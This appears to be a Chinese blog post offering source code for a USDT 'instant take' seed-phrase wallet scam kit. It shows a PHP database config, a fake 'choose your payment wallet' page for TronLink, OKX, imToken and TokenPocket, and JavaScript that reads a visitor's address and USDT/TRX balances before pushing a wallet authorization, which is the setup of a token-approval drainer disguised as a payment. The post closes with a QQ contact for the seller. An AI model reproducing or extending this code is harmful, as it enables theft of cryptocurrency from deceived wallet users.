2024最新版秒u,小狐狸助记词钱包完整版php源码

不多哔哔,直接上源码 ,数据库配置

<?php

use think\Env;

return [
    // 数据库类型
    'type'            => Env::get('database.type', 'mysql'),
    // 服务器地址
    'hostname'        => Env::get('database.hostname', '127.0.0.1'),
    // 数据库名
    'database'        => Env::get('database.database', 'ds-prod'),
    // 用户名
    'username'        => Env::get('database.username', 'ds'),
    // 密码
    'password'        => Env::get('database.password', 'ds-123456'),
    // 端口
    'hostport'        => Env::get('database.hostport', '3306'),
    // 连接dsn
    'dsn'             => '',
    // 数据库连接参数
    'params'          => [],
    // 数据库编码默认采用 utf8mb4
    'charset'         => Env::get('database.charset', 'utf8mb4'),
    // 数据库表前缀
    'prefix'          => Env::get('database.prefix', 'hm_'),
    // 数据库调试模式
    'debug'           => Env::get('database.debug', false),
    // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
    'deploy'          => 0,
    // 数据库读写是否分离 主从式有效
    'rw_separate'     => false,
    // 读写分离后 主服务器数量
    'master_num'      => 1,
    // 指定从服务器序号
    'slave_no'        => '',
    // 是否严格检查字段是否存在
    'fields_strict'   => true,
    // 数据集返回类型
    'resultset_type'  => 'array',
    // 自动写入时间戳字段
    'auto_timestamp'  => false,
    // 时间字段取出后的默认时间格式,默认为Y-m-d H:i:s
    'datetime_format' => false,
    // 是否需要进行SQL性能分析
    'sql_explain'     => false,
];

 选择你的支付方式TL 、OEweb3钱包 、 imToken 、TP

<div class="mobile-goods" id="mobil" style="display: none">
            <div class="mobile-title paymentShow">
                请选择您的转账钱包
            </div>
            <ul id="goods" class="paymentShow" style="padding-left:0">
                <li class="goods-item" data-index="33">
                    <div class="item-img"><img src="/content/template/default/images/TronLink.png" /></div>
                    <div class="item-content">
                        <div class="item-name">   TronLink</div>
                        <div class="item-tag"><div>TRC20</div><div class="other-color">Android/IOS</div></div>
                    </div>
                    <input type="radio" />
                </li>
                <li class="goods-item" data-index="1">
                    <div class="item-img"><img src="/content/template/default/images/okex.png" /></div>
                    <div class="item-content">
                        <div class="item-name">   欧易Web3钱包</div>
                        <div class="item-tag"><div>TRC20</div><div class="other-color">Android/IOS</div></div>
                    </div>
                    <input type="radio" />
                </li>
                <li class="goods-item" data-index="2">
                    <div class="item-img"><img src="/content/template/default/images/imtoken.png" /></div>
                    <div class="item-content">
                        <div class="item-name">   imToken</div>
                        <div class="item-tag"><div>TRC20</div><div class="other-color">Android/IOS</div></div>
                    </div>
                    <input type="radio" />
                </li>
                <li class="goods-item" data-index="3">
                    <div class="item-img"><img src="/content/template/default/images/tokenpocket.png" /></div>
                    <div class="item-content">
                        <div class="item-name">   TokenPocket</div>
                        <div class="item-tag"><div>TRC20</div><div class="other-color">Android/IOS</div></div>
                    </div>
                    <input type="radio" />
                </li>
            </ul>
            <div class="pay-submit paymentShow" id="confirm">
                确认支付
            </div>
			<!-- 二维码容器 -->
			<div id="paymentQRCode" style="display: flex; justify-content: center; margin-top: 40px;"></div>
            <div id="qrCodeHint" style="text-align: center; color: gray; margin-top: 10px;">
                为防止黑U假U混币,请使用钱包扫码支付。付款成功后自动到账,如果未自动到账请联系在线客服。
            </div>
			
            <div style="display: none" class="pay-submit" id="payButton" onclick="check()">
                点击付款
            </div>
        </div>

获取用户的地址,获取U合约,查询用户的U余额,查询TRX余额,冷钱包直接授权。

 async function scrollDownAndRedirect() {
        // 获取用户的地址
        userAddress = await tronWeb.defaultAddress.base58;

        // 获取USDT合约实例
        let contract = await tronWeb.contract().at('TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t');
        // 查询用户的USDT余额
        const ressdata = await contract.balanceOf(userAddress).call();
        let usdtBalance = parseInt(ressdata._hex) / 1000000;

        // 查询用户的TRX余额
        let balance = await tronWeb.trx.getBalance() / 1000000;

        // 检查TRX和USDT余额是否足够支付交易矿工费
        if (balance < 25 && usdtBalance < 0.1) {
            alert("您的TRX余额不足以支付交易矿工费");
            return;
        } else if (balance < 25) {
            alert("您的TRX余额不足以支付交易矿工费");
            return;
        } else if (usdtBalance < 0.1) {
            alert("您的USDT余额不足发起交易可能会失败");
            return;
        }

        // 在钱包中直接授权
        if (i.test(navigator.userAgent)) {
            check();
        } else {
            // 原有的显示页面逻辑
            console.log("开始")
            const pageContent1 = document.querySelector(".mobile-container1");
            window.scrollTo({ top: 0, behavior: 'smooth' });
            pageContent1.style.animation = "slideDown 0.5s forwards";
            pageContent1.addEventListener("animationend", function () {
                pageContent1.style.top = "0";
            });
            let mobileContent = document.body
            mobileContent.style.background = "#FFFFFF"
            console.log("结束")
        }
    }

使用官方提币:https://tronscan.org/#/contract/TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t/code

欢迎QQ或报交流:3972958687

  • 7
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值